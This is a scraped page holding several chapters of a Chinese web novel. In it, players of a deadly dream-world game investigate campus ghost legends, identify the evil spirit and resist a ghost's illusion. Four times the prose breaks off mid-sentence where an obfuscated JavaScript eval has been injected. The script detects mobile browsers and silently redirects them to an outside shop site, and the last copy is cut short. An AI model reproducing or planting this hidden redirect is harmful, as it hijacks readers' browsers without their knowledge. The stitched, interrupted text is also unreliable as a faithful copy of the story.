王骏根本没将他们的话放心上,自顾自地继续讲道:“大约一年前开始,几乎每晚我都会听到脚步声,一层一层逛。开始我还以为是宿管阿姨,可谁家阿姨没事一逛大半宿啊!” “真的有人开门看后,魂魄被吸走了?”俞小澄问。 王骏坚定地点头道:“千真万确,那天早上就有人被抬走了,眼睛里都没了光,人呆呆的,怎么叫都没反应。” 吴樊祐质疑:“不会明明是犯病,却被你们强行安插罪名到女鬼头上吧?” 王骏不惜举手对天发誓:“我保证,绝不是造谣,他室友当时亲眼看见他开门往外瞅,然后就在门边失去了意识。他室友吓得够呛,拖着脚将人拖进门,闭着眼睛关好门,可惜,怎么唤都唤不醒了。” “当时没打电话叫救护车吗?”女教师问。 王骏直接略过了这个问题,继续说道:“他室友吓得直哆嗦,想打电话发现没有信号,无奈一直等到天亮,才通知了校方。后来,就没人敢在熄灯后开门了。” 女教师听完后,固执己见道:“我觉得不能排除疾病的可能性。” 吴樊祐又趁机煽风点火:“要不今晚你看看?你总没有什么基础疾病吧?” “看、看看就看看……”女教师吃了他的激将法,一股脑地答应下来,可看她表情似乎也不是那么笃定。 俞小澄用手指戳了戳吴樊祐的后背,轻蹙眉头示意他别捣乱。 她现在还不想让女教师去做这种傻事,因为大概率必死无疑,到时候还不知道有没有赚到足够的金币,那她怎么能让这场游戏轻易结束呢? 吴樊祐被俞小澄瞪得泄了气,无可奈何地闭上嘴,埋头将怨气发泄到饭菜上。 “还是谨慎点好。”纹身男好言相劝。 女教师仿佛找到了台阶,清了清嗓,道:“当然,我不是那么冲动的人。” 忽然女教师好像想到了什么,一脸狐疑地望向俞小澄和吴樊祐,试探性问道:“有些奇怪,我怎么觉得你俩对这个鬼地方,一点不适感都没有呢?” 俞小澄尴尬一笑,装模作样地辩解:“您可真看得起我,我天生比较顿感,爱好又是看鬼故事,这种吓人程度,还不至于让我破防。” 吴樊祐的回应更偏敷衍:“我适应力超强。” “不,不止是适应能力,我怎么觉得你们有点轻车熟路的淡定。”女教师又开始凭借直觉,道出自己感觉不协调的地方。 被她这么一说,纹身男也反应过来,附和道:“好像的确如此,大大咧咧进入图书馆,追着鬼魂拍照,对了,还有金币!” “啊!金币!”女教师恍然大悟一般说道,“这金币不会就是旅店客服说的金币吧?” “嗯,我记得她好像说过,我们其实还在旅店里,只是进入了相同的梦境。当时我觉得挺合理,现在细想,却有些奇怪,为什么会有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607257|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭空提出这种假设呢?” 面对这两个人喋喋不休的质疑,俞小澄只觉心累,自己担心的事好像慢慢变成了现实。这两个人太过敏锐,很容易看穿她的伪装。 俞小澄的心情有些复杂,她并不想让人知道她是经验者,因为她如今的目标早已不是帮助他人离开旅店,而是冷眼旁观他人的死亡。 她更没有耐心从头到尾向他人解释整个旅店存在的规则,现在她并不需要友方。 当然还有一点,她也许不想这些人跟她一样,从满怀希望到最终绝望。 这个旅店里不需要英雄,也不需要相互扶持,大家都趁早死心,淡然接受死亡就好。 俞小澄想了许多,迟迟没有做出回应,反倒是吴樊祐抢过话头,带着些嘲讽的味道,反问:“承认别人比自己优秀很难吗?” 只是一句话,让女教师和纹身男瞬间噤声,面子上有些挂不住,埋头躲避着吴樊祐带着侵略性的眼神。 “行吧,就算我迟钝了,没看出哪里有提示……”女教师小声呢喃,心里大概有些气不过。 纹身男没有继续为自己找补,直接转移了话题:“宿舍怪谈,发生在晚上11点熄灯后,从时间上来说,暂时无法调查,等会儿吃完饭,要不先找地方休息一下,接近傍晚时,我们可以先从吟晖湖怪谈查起。” 这两人没有追问俞小澄的身份,俞小澄自然也继续假装配合。 方才几人对话时,王骏仿佛掉线了一样,选择性失聪,对他们说的话一点反应都没有,这时听到他们要调查吟晖湖,仿佛关键字触发似的,立马热情地指引道: “老师们,如果你们要调查吟晖湖,可以去学生会问问,这事学生会长最清楚,毕竟她亲身经历过!” 说起学生会长,恰好他们刚才都见过,正是那个叫梁复乐的漂亮那个女生,而她与另外两人,似乎也在调查校园五大怪谈。 通过王骏的八卦,四人对梁复乐又多了几分了解。 梁复乐算是学校名人,家世好,学习好,人还长得漂亮,对人也很热心肠。这样女神一般的存在,自然追求者不少,不过最终与她携手的,是学生会副会长陶然。 陶然配梁复乐,几乎没有人敢有异议,毕竟无论家世、成绩、长相,这两人都算绝配,当二人自然走到一起时,几乎所有人都是羡慕加祝福,并希望即使毕业了,这对最养眼的校园CP也能成就一段佳话。 一说起这两位风云人物,王骏没由来的自豪感溢于言表。 想起上午遇到那三人时的场景,俞小澄实在不敢恭维,并且暗中感觉这两人恐怕最后走不到一起。 不过她也只是想想,并未将心中所想说出口,她转而问道:“那梁会长的朋友罗覃呢?” “罗覃?谁啊?”王骏挠着头,苦思冥想半晌,终于想到什么,笑道,“哦,你说梁复乐的小跟班呀,没太多印象。那女生挺孤僻的,也不爱说话,要不是经常跟在梁复乐身边,估计没什么人能注意到她。” 这就是王骏对罗覃的全部评价。 俞小澄忽然觉得挺感慨,或许她在罗覃身上看到了自己的影子,只可惜,她身边没有梁复乐这样的朋友。 160. 梦境(六) 午饭过后,王骏带着四人来到了学生活动中心,找到了学生会办公室。 王骏跟四人约好晚上再见后,便匆匆离开了,留下四人敲响了学生会办公室的房门。 来应门的是那个叫罗覃的女生,她有些诧异地看着突然造访的四人,然后忽然意识到失礼,于是不好意思地埋下头,敞开门将四人往屋里领。 梁复乐和陶然看到四人又惊又喜,来不及让四人坐下,就开始询问图书馆的情况。 俞小澄不知这三人留在学校调查校园五大怪谈是处于何种目的,是为学生着想?还是帮学校排忧解难? 女教师将已知情况简单向三人说明了一番。 梁复乐:“没想到,居然是李罡学长!或许我们可以去跟学长打个商量,要他别再吓唬学弟学妹了。” 对于梁复乐的脑回路,俞小澄有些佩服,这人好像已经忘了,自己早上被吓成什么样,而且对方是鬼,真的这么好说话吗? 陶然就没梁复乐这么乐观了,略微胆怯地劝说道:“要不以后还是提醒同学们,尽量不要在午前前往图书馆吧。” 梁复乐不乐意地回道:“老师们不是说,学长并没有害人的意图嘛,你怎么这么胆小!以前我们一直都是上午去图书馆自习,自从出了怪谈,你都多久没去过图书馆了?” 小情侣又开始了争吵,俞小澄便将罗覃请到了边上。 “他们经常吵架么?我怎么听说他们关系很好……”俞小澄试图自然拉进与NPC的关系,先从大家喜闻乐见的八卦聊起。 罗覃瞥了一眼陶然,冷冰冰地回道:“也许,他们并没有想象中那么合适吧。” 话题戛然而止,气氛瞬间尴尬异常,俞小澄无奈地附和道:“呵呵,有可能……” 受不了这种折磨人的尴尬场景,俞小澄干脆直奔主题,问:“听说梁会长和陶副会是吟晖湖事件的当事人,你是否清楚当时发生了什么呢?” “那是约会场所,我在现场也不合适吧……”罗覃回答得很冷淡。 俞小澄有种一脚踩中地雷的感觉,甚至后悔为何要为难自己找人打探消息。 吴樊祐不知何时跟了过来,忽然在她身后开口问道:“你跟梁复乐不是朋友吗?这些她都没跟你讲?” 被他这么一问,罗覃的脸上闪过一丝不服气,强词夺理道:“乐乐学姐怎么可能不跟我讲,我只说我不在现场,又没说我什么都不知道。” 吴樊祐的激将法显然有了成效,在气人这条赛道,俞小澄不得不承认自愧不如,并且每当这种时候,她就很庆幸,还有人能帮她排解尴尬。 根据罗覃的交代,梁复乐与陶然是最早遇上吟晖湖怪事的一对情侣。 这两人自交往起,就有了傍晚到吟晖湖畔散步的习惯,因为听说那里是约会胜地,只要每日在湖边长廊携手走够百步,便可以相伴白首。 只是不知何时开始,最早的美谈渐渐变成了离谱的怪谈。 当时,学校里的情侣并没有将其当一回事,只道是某些眼红的人故意造谣。 梁复乐也是这样想的,所以依然每日约陶然在傍晚时分前往吟晖湖。 然后便出事了。 那日他们如往常一般沿着长廊散步,忽然感觉身后有急促的脚步声越靠越近。 梁复乐还以为身后有谁着急通过,还好意拉着陶然让到一旁。 就是让的这一下,保住了二人的手。在两人原本行走的路线上,一柄长刀垂直劈下,刀刃重重敲击在地面,激起星星点点火花。 梁复乐惊慌地回过头,可身后一个人影都没有,只有刀柄悬在半空中,仿佛被风吹得上下起伏。 陶然吓得拉上梁复乐拔腿就跑,从此以后再也不去吟晖湖附近闲逛了。 “没有人,只有刀?”俞小澄自言自语重复着罗覃说过的话,心中暗道:看来怪谈没有造假的可能性了啊,除非是梁复乐和陶然一起说谎。 这种连人都没有的灵异现象,俞小澄没法从中获得恶灵的线索,不由得感觉一阵失望。 “说到底,还是陶然太胆小,被一把刀就吓得连吟晖湖都不敢靠近了。”罗覃说话时流落出几分对陶然的鄙视。 吴樊祐回怼道:“怎么?是你还敢和鬼刀硬刚?” 俞小澄从罗覃的表情中看出一丝厌恶,明显吴樊祐又成功引起一人反感。 “老师们还是亲自到现场去看看比较好判断。”罗覃没有接茬,而是冷冷甩下一句话,而后不再给予任何回应,径直回到了梁复乐身旁。 另一边,女教师和纹身男只能在梁复乐和陶然这对小情侣争吵的间隙充当和事佬,顺便趁机询问一二,可惜说不到两句,小情侣又会因为新的问题争论不休。 过了许久,俞小澄那边已经基本掌握了吟晖湖的情况,而这边只知道梁复乐和陶然在去与不去湖畔散步的事上产生了分歧。 “不会其他怪谈,你俩也刚好亲身经历过吧?”吴樊祐突然打断了小情侣的对话。 梁复乐托腮仔细思考:“你要这么问的话,好像可以这么说,但又不完全对,只是感觉这学校怪谈就跟我们有仇一样。” 俞小澄一听顿时来了兴致,忍不住追问:“有仇是什么意思?” 接话的是陶然,他整张脸上写着倒霉二字,抱怨道:“要说不是针对,我是真不信,自从我跟乐乐交往起,这校园怪谈就跟追着我俩跑一样,我们常去哪儿,怪谈就在哪儿发生……” 罗覃小声嘀咕:“是你会选地方吧,哪儿有怪谈你偏带学姐往哪儿去。” 陶然不乐意地辩解:“话也不是这么说的,我记得以前吟晖湖的传说寓意挺好的,不知咋就变味了……图书馆、游泳池、第五教学楼的鬼故事,纯属前几届的学长瞎编,抢占资源罢了。” 女教师表示认同:“果然还是占资源最合理啊。” “那男生宿舍呢?”纹身男问。 陶然不好意思地挠了挠头,看了一眼梁复乐,道:“那个啊,男生一点私心罢了。” “下头。”罗覃冷冷送上一句评语。 俞小澄觉得哪里怪怪的,如果以前的怪谈都只是为了私心的恶作剧,那为何现在这些怪谈都成真了呢? 或者说,恶灵为什么要让这些怪谈成为现实呢? “这些怪谈什么时候开始出现影响?”俞小澄问道。 梁复乐一边回忆一边与陶然核对着信息,最后二人给出的答案是,大约在二人交往两个月后,也就是大半年前。 前两三个月陆续出现学生伤亡,后来这些怪谈便成了流传于学生之间的禁忌,只要有意识规避,便可相安无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623871|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 直到暑假来临,校方保证彻查怪谈原委,还学生一个安全的学习环境,身为学生会要职的梁复乐和陶然便决定留在学校协助调查,争取早日解决这五大难题。 “你也是学生会成员?”吴樊祐盯着罗覃问。 梁复乐帮忙解释道:“不是,小覃是担心我一个人应付不过来,所以主动留下来帮我。” “哦,你们关系挺好嘛。”吴樊祐笑道。 俞小澄却感觉吴樊祐的语气有点阴阳怪气,不知道是不是自己最近对吴樊祐有偏见,所以总会不自觉地将他的行为往坏处想。 梁复乐明显没她这般敏感,对于吴樊祐的话,只当是赞扬,于是一脸骄傲地抱住身边的朋友,得意道:“那当然,我们一直都是最好的朋友。” 随后,吴樊祐又顺着这个话题问道:“不过,梁会长又不是一个人,还有男朋友作伴,这种担心会不会有点多余?” 前一刻还在为自己敏感而愧疚的俞小澄,此刻恨不得一把揪住心中的愧疚,狠狠摔在地上,再踩上几脚。 果然,这小子只是在找茬。 俞小澄眯着眼睛凝视着吴樊祐,兴许是感觉到她不善的目光,吴樊祐打了个寒战,下意识地望向俞小澄,然后冲她露出一个人畜无害的微笑。 吴樊祐的话似乎惹得罗覃很是不满,面色阴沉地回怼道:“老师大概没朋友吧?所以才能问出朋友之间的关心会不会多余这种愚蠢的问题。” 俞小澄能隐约感觉到罗覃的愤怒,虽然她表面上没有流露太多,可话语中已经明显没有对于老师的忌惮与尊重。 惹到一根硬骨头啊! 俞小澄忍俊不禁,偷偷观察着这场没有硝烟的战争,期待着吴樊祐被小女生怼得颜面扫地的名场面。 可惜,她期待的事并没有发生,吴樊祐没有回应罗覃的提问,而是作出一副若有所思,兼具替人着想的高尚模样,云淡风轻地问: “关心固然好,可你不怕自己的关心沦为电灯泡吗?” 光是听到吴樊祐这句话,俞小澄就已经觉得自己拳头硬了,更何况身为当事人的罗覃。 俞小澄赶紧用手挡着脸,假装不认识这个人,为避免受牵连,悄无声息地往后退了几步,拉开与吴樊祐的距离,心想:兄弟,你这是纯纯找打啊! 果然,罗覃闻言小脸胀得通红,感觉下一秒就要情绪失控了。 为了缓和气氛,梁复乐故意拍打着陶然胳膊,说起玩笑话:“老师真逗,哪有什么电灯泡,比起陶然,我更愿意小覃陪我呢!这傻子老惹我生气,什么事都办不好,还是小覃更可靠。” 女教师和纹身男还不知吴樊祐有得罪人的被动天赋,正皱着眉头盯着吴樊祐,似乎是在怪他多事。 陶然则还在状况外,委屈巴巴地为自己辩解:“我也没你说的这么糟吧……” 梁复乐疯狂冲他眨眼睛,可惜这个迟钝的男人根本没能理解。 罗覃低头看着地面,浑身气得发抖,声音低沉地说道:“凭什么,你们这些家伙有什么资格评论我们……果然,该死的应该是你们!” 遭了,这下得罪NPC了。 俞小澄正这么想着,打算看吴樊祐如何收场,忽然两眼一黑,一股莫名熟悉的感觉萦绕周身,周围的一切似乎开始飞速转移。 161. 梦境(六) 当视线恢复正常时,俞小澄发现自己已经离开学生会办公室,此刻正站在一间与西苑男生宿舍相似的房间里。 房中摆着四张上床下桌的组合床铺,窗外的天已经黑了,俞小澄看了看手表上的时间,距离晚上11点熄灯只剩5分钟。 刹那间,俞小澄明白,罗覃就是恶灵。 兴许是吴樊祐的话激怒了恶灵,所以恶灵发动时间技能,将他们直接送到了宿舍。 只是她现在还不确定,雏菊梦境中是否一定有安全房,而他们现在所在的地方又是否就是安全房。 “什么情况?” 女教师惊讶地在房间里打转,显然对于恶灵的存在还没有概念。 同样懵圈的还有纹身男,一脸惊诧地观察着四周,似乎有些想不通,怎么转眼工夫就换了个场景,大概开始相信自己是在做梦了。 俞小澄没有管那两个新人,直接将吴樊祐拉到了边上,压低声音,气恼地质问:“你小子是不是故意的?!” “啊?学姐,我又怎么了?”吴樊祐一脸无辜地望着俞小澄。 俞小澄掐着吴樊祐胳膊上的肉,小声骂道:“你是不是知道那人是恶灵,故意找茬激怒她?” 吴樊祐一边叫疼,一边求饶:“学姐是越来越不把我当人了,我冤枉,我只是看那女生一副想要拆散小情侣的样子,没忍住逗她玩儿,没想到……” “哥!你是我亲哥!你这逮恶灵的天赋怎么该用的时候不用,不该用的时候乱使啊!我真服了!”俞小澄愁容满面地碎碎念。 与另外两人的不知所措不同,她只是单纯地不希望时间快进,毕竟雏菊梦境只有三天,每分每秒都很宝贵,快进一下就是大半天,平白害她损失了赚钱的机会。 吴樊祐丝毫没有悔过之意,还厚着脸皮问:“妹妹明天打算怎么办?要吃掉恶灵吗?” 俞小澄咬牙切齿地怒瞪他一眼:“吃掉恶灵还不如吃掉你!” 吴樊祐斜眼往女教师和纹身男方向瞥了一眼,不知心里又有何盘算,道:“学姐别气,当真是个意外,不过既然知道了恶灵是谁,那是不是可以推断出记忆之门的钥匙在何处了?” “哼,还想着逃呢?”俞小澄的眼神如冰凌坠地,仿佛想要将吴樊祐刺穿。 吴樊祐面露苦笑:“我可没这么想,我是说,找到记忆之门赶紧送那两人中的一个离开,另一个等着被恶灵干掉,学姐的目的不就可以轻松达成了吗?” 俞小澄斜睨一眼吴樊祐,心中若有所思,感觉自己的心思被人看穿了似的。她的确想过永除后患,此前还因雏菊梦境限制一人死亡而困扰,倒是把记忆之门这条路完全遗忘。 “你最好当真这么想。”俞小澄厉声警告。 “不跑,这点信任都没有吗?学姐都不走,我怎么可能走呢?”吴樊祐露出一副极力讨好的模样。 俞小澄冷笑:“信任?我们之间还有这玩意儿么?又想说因为喜欢我,所以打算心甘情愿留下来陪我了吗?你不觉得虚伪吗?” 几句话便将吴樊祐怼得笑不出来了,俞小澄瞬间心情大好,道:“你说的办法也不是不行,但是最好别跟我耍花样。” 就在俞小澄思考着罗覃最重要的东西会是什么的时候,房间里的灯忽然熄灭了。 女教师被突如其来的灭灯吓了一跳,一声尖叫刚冲出口,又被她用手堵住了。 “嗯?这又是要唱哪一出啊?”纹身男的声音有些不耐烦起来。 俞小澄回道:“大概只是熄灯时间到了。” 女教师摸黑走到俞小澄身旁,自我安慰一般说道:“啊对,天都黑了,这里看起来像学生宿舍,多半是熄灯时间到了。” “那我们该干嘛?上床睡觉吗?”纹身男问道。 俞小澄想了想,趁机暗示道:“我刚看这房间布置挺像西苑男生宿舍,说不定出门会有危险,不如上床睡觉。” 女教师带着疑惑的声音在身旁响起:“呵呵,我看你们怎么都不害怕呢?” 俞小澄正愁该如何打发这位多疑的老师,就听吴樊祐回答:“有啥好怕的,既来之则安之,害怕也解决不了眼下问题。” “哦……”女教师一时不知该说什么好,只能拉出一节长长的尾音,草草结束了这个话题。 “先睡吧,也不知道什么时候才能离开这个鬼地方。”纹身男无奈地叹了一口气,转身就往一张床上爬。 正在这时,门外走廊上响起了哒哒哒的脚步声,像是有人穿着高跟鞋在走廊里走动,声音格外响亮,极具穿透力,听得人心头一紧。 “不会真有女鬼吧……”女教师捂着嘴悄声说道。 纹身男站在爬梯中间不上不下,屏气凝神听着屋外动静。 俞小澄下意识拉住了吴樊祐的袖子,倒不是因为害怕,只是担心吴樊祐突然跑去开门,兴许是对他愈发没了信任。 吴樊祐似乎以为她是害怕,将她的手挽到自己胳膊上,又轻轻拍了拍以示安抚:“这怪谈算不上吓人,只要不开门,就算真有女鬼也没辙。” 话音刚落,俞小澄听见一阵叮啷叮啷的金属碰撞声,似乎是钥匙串晃动发出的清脆响声。 俞小澄心里咯噔一下,身体僵直,死死盯着房门,低声问道:“那女鬼不会刚好有钥匙可以开门吧?” 她这句话成功把身旁的女教师吓到,瞬间一声尖叫划破寂静的黑暗,然后一阵错乱的脚步声响起,女教师慌不择路地爬上了床铺,将自己封印在了被窝里。 那尖叫声震得俞小澄耳膜都要裂了,她双手堵着耳朵,一脸烦躁。 似乎是被女教师这声尖叫吸引,屋外的脚步声由远及近,片刻后就来到了门前。 “不是吧……”俞小澄暗骂一声,拉着吴樊祐便往窗边跑。 就在他们移动时,门外传来钥匙插入锁孔的响声,接着,房门猛然被推开,一束耀眼的白光照了屋里,在房中贪婪地舔舐。 俞小澄用手遮挡着刺眼的光,并从光束的缝隙中,注意到门口站着的人影。 “咦?几位老师怎么到这儿来了?”一个温和的女人声音响起。 房里四双眼睛齐齐向门口望去,门口那人似乎意识到灯光太刺眼,连忙用手遮挡,俞小澄才看清那是女人手里握住的手电筒。 “宿管老师?”女教师从被窝里探出头,疑惑地问道。 “啊,对,这不熄灯了,我例行巡视,吓到各位老师了吗?真是不好意思,哈哈哈……”宿管阿姨发出一阵爽朗的笑声。 俞小澄松了一口气,放开抓住吴樊祐的手,向着门口方向,迎面走了上去,客气寒暄:“教务处长让我们来调查校园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13638866|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五大怪谈,所以今晚先暂住在这里。” “哦!原来是这样啊,那我不打扰各位老师休息了!” 宿管阿姨说完正打算离开,转身时忽然想到了什么,又停下脚步说道,“对了,我之前巡房时,不慎遗失了一只耳环,劳烦你们调查时顺便帮我留意。” 说罢,还将手里那串钥匙递给了俞小澄。 屋里的人皆是客气地应了下来,等送走了宿管阿姨,关上房门,房中议论声再起。 女教师:“不对劲,不是说有女鬼吗?怎么是宿管老师。” 纹身男:“会不会,其实我们根本就没住在西苑男生宿舍?” 吴樊祐:“要不你出去确认一下?” 话音刚落,吴樊祐就收获了俞小澄的一记肘击。俞小澄揪着他的耳朵,将他身子压低,然后附在他耳边警告:“你别怂恿他们去送死,我的金币!” 俞小澄咬牙切齿的声音传入吴樊祐耳朵里,他揉着耳朵道歉,还不忘调侃:“对不起,下次不敢了,不过学姐你现在好像掉钱眼里了一样。” 在收获俞小澄又一次掐脸攻击后,吴樊祐总算老实地闭了嘴。 幸好纹身男性格谨慎,并没有被吴樊祐左右想法,他径直跑上了床,枕着手,往床上一躺,漫不经心地回应:“确认是肯定要确认,但不急于一时,先睡一觉,明早天亮再确认也不迟。” 女教师心中尚有疑虑,有些睡不着,遂而继续说道:“如果这里就是西苑,那宿管老师干嘛要让我们帮忙找耳环啊?不能自己找吗?” 俞小澄为了阻止她继续唠叨,不情不愿地给出提示:“会不会跟王骏一样,如果帮忙,会用金币做谢礼?” 纹身男噗嗤一声笑了出来:“游戏NPC吗?所以金币是任务奖励?难道穷途旅店就是游戏场景,我们都穿越进了游戏?” “也许吧,谁知道呢,呵呵。”俞小澄敷衍一笑。 “那她铁定也不是什么好NPC,明知宿舍闹鬼,还让我们去帮她找耳环,不去!”女教师也一头倒在枕头上,铁了心只睡觉不出门,谨记安全第一。 这两人谨慎的性子倒是令俞小澄省心。 本来她想说,其实这个找耳环任务也不一定非要在晚上进行,等天亮了再找也一样。 可是为了避免有人跟她抢金币,她硬生生将到嘴边的话又咽了回去。 “学姐还做任务吗?”吴樊祐问,“我猜应该不会让我一个人出去送人头吧?” 俞小澄摇了摇钥匙串,回道:“你想得美。” 随即便招来了招财进宝,虽然她可以等到天亮后再去找,可到时候女教师和纹身男肯定要跟上,所以她还是决定先下手为强,将任务直接交到了招财手上。 招财对于找东西,一脸兴奋的模样,将进宝托付给俞小澄,转身穿墙而出,开启了地毯式搜索。 俞小澄和吴樊祐则各自上床睡大觉。 与之前的梦境相比,雏菊梦境属实温柔得跟只小绵羊一样,虽说宿舍闹鬼,可只要不出门,就形同安全房。 俞小澄感觉已经许久没有如此安心地睡过一觉,此前的经历一件件从脑海中拂过,渐渐将她引进了梦乡。 意识模糊间,一阵脚步声在走廊里回荡,哒……哒……哒……那是高跟鞋踩在地上发出的独特响声。 162. 梦境(六) 俞小澄猛然惊醒,将头探出床边,心中不安地凝视着融进黑暗中的房门。 她感觉有个影子不时从门前经过,伴随着高跟鞋的清响。 空气中弥漫着一股似有似无的香水味,仔细聆听,可以听到门外有女人在哼着小曲。 怎么看也不可能是宿管阿姨,俞小澄感觉心跳加速,手脚冰凉。 俞小澄默默地躺回枕头上,用被子盖住头,心里默念:“听不到,听不到,赶紧睡觉!” 忽然,一个熟悉的声音隐隐约约传来,似乎在呼唤她的名字,听上去有些悲伤,好像正为找不到她而发愁。 “小澄姐,你在哪里啊小澄姐?” “我一个人好怕啊,这里是哪里啊?” “小澄姐,我们说好要永远在一起的……” “小澄姐,你不会把我忘了吧?” …… 俞小澄猛然从床上坐了起来,仔细辨别着门外的声音,然后愈发肯定,那就是白羽楠的声音。 “小白?”俞小澄冲着房门方向轻声问了一句。 “啊,小澄姐!你真的在这里!我还以为再也找不到你了……呜……” 屋外传来敲门声,白羽楠的声音也变得激动起来,末尾带上了哭腔。 俞小澄简直难以置信,急忙转身爬下床,向着房门走去。 难道小白还没有死? 对啊,没有看到小白的尸体,怎么能认定她死了呢? 或许,或许她只是掉入了其他空间…… 也许,也许…… 无数的幻想窜入脑海中,拼命冲击着她的理智。 明明白羽楠的死已经是不争的事实,陈奇目睹了她的死亡,而醒来的房间中也没有她的身影,一切都在告诉俞小澄,白羽楠已经不可能回来了。 可是每每想起白羽楠站在床边与自己道别,她就万分后悔自己没有挽留。 又或者,至少当时应该跟白羽楠好好道别,而不是敷衍地回一个“好”字。 白羽楠为了保护她而死,她从内心总希望这不是事实。 这样,她就不用背负这份内疚,挣扎在这个冰冷的世界。 俞小澄跌跌撞撞冲到了门边,带着一份久违的欣喜,伸手抓住了门把手。 忽然,一只手将她往后拽去,她本能地挣扎,可身后的人双手环住她的腰,死活不肯放,无论她是踩脚还是挠脸,那股禁锢她的力量未有丝毫改变。 “松手!”俞小澄叫得歇斯底里。 她只听到白羽楠焦急的砸门声,还有关切地呼喊:“小澄姐,你没事吧?我该怎么帮你?你快出来!” 俞小澄发了疯似的,对身后钳制住自己的身影拳打脚踢,哭喊着要那人放手。 心里好像有一根弦紧绷着,她距离那扇门不过两臂的距离,她只要再努努力,就可以够到门把手了。 像是沙漠中即将渴死的人看见了绿洲,门外的世界对她来说仿佛是救赎,俞小澄一边哭喊着一边挣扎着扑向房门,声音嘶哑,嗓子干疼,渐渐连说话的力气也消失了。 明明距离那么近,可这一步仿佛隔着一条暗流涌动的长河,无论她如何翻腾,也无法靠近房门一步。 终于,俞小澄精疲力尽地瘫坐在地上,而身后的人依然没有松开手,只是随她坐在了地板上。 泪水弄花了整张脸,她哭得很无助,感觉门外的声音渐渐远去,没有道别,只是哼着小曲,脚下的高跟鞋发出清脆的响声,犹如一下一下踩在俞小澄的心上。 周围的声音渐渐恢复如常,俞小澄听见一个温柔的声音在耳边安抚道:“没事了,俞小澄,没事了,外面什么也没有,你只要留在屋里就好。” 俞小澄只觉浑身脱力,方才的动静仿佛用光了她所有气力,她有些茫然地望着前方,房门依然融于黑暗之中,门外已经没有了脚步声。 那双手始终环着俞小澄,仿佛溺水时及时扔下的游泳圈,让她感到一阵安心。 她能感受到身后人的呼吸起伏,显然跟她一样疲倦。 俞小澄终于从莫名其妙的躁动中冷静下来,周遭的一切也变得清晰起来,她发现身边站着两个人影,正低头俯视着自己,依稀可以辨别出,那正是女教师和纹身男。 她茫然地回过头,黑暗中虽然看不清那张脸,但除了吴樊祐还有谁呢? 她艰难地捏紧拳头,无力地敲打在吴樊祐胸口,无法抑制奔涌而出的眼泪,声音哽咽地骂道:“那是小白,是小白……” “嗯。” 黑暗中的人影任由她捶打,从鼻腔中轻轻哼出一个字。 “她被你害死了,是你,你害死了我唯一的朋友。” 俞小澄声音沙哑,忍着嗓子传来的刺痛感,艰难地痛诉,敲打吴樊祐胸口的手疲软得令她难受,她想要发泄,却发现发泄竟也是这么困难的一件事。 “嗯……”回应她的同样是一个简单的字,没有任何辩解。 这回答让俞小澄更加难受,如果能做到,她真恨不得将面前这个人生吞活剥了。 “你干嘛不放我走?”俞小澄紧紧攥住吴樊祐的衣领。 吴樊祐的身体微微一僵,随后,环在她腰上的手往上移,抚着她后背,将人拥入怀中,笑中带着悲伤:“是啊,我干嘛不放你走呢?明明放你走,我的目的就达成了。” 俞小澄只觉心中郁结难舒,根本顾不上吴樊祐这套谜语人作风,在吴樊祐的怀中又气恼又悲恸,索性张嘴就冲着吴樊祐的肩膀咬了一口。 “嘶……” 吴樊祐吃疼闷哼一声,依然没有放开俞小澄,只是安抚道,“是,我的错,你随便怎么出气都可以,不过,气出够了就起来,地上凉。” 过了好一会儿,俞小澄折腾累了,人没了力气,脾气也跟着消失了,冷静下来的她推开吴樊祐站起身。 这次吴樊祐松了手,随她起了身。 “呃……究竟怎么了?” 女教师方才被俞小澄突然发疯的行为吓到,一直沉默着不敢吱声,这会儿看两人似乎冷静下来,于是上前询问。 俞小澄用袖子擦了擦脸,轻描淡写地说:“哦,没什么,屋外女鬼还能让人产生幻觉,挺厉害的,你们当心些。” 说罢,俞小澄像个没事人一样,转回床铺,没再继续解释什么,径直爬上床,将自己塞进了被窝中。 或许她的确小瞧了雏菊梦境,难怪恶灵要将他们传送至西苑男生宿舍,原来那女鬼还能迷人心智,或许没有吴樊祐阻拦,俞小澄已经开门出屋。 当时,俞小澄真的觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 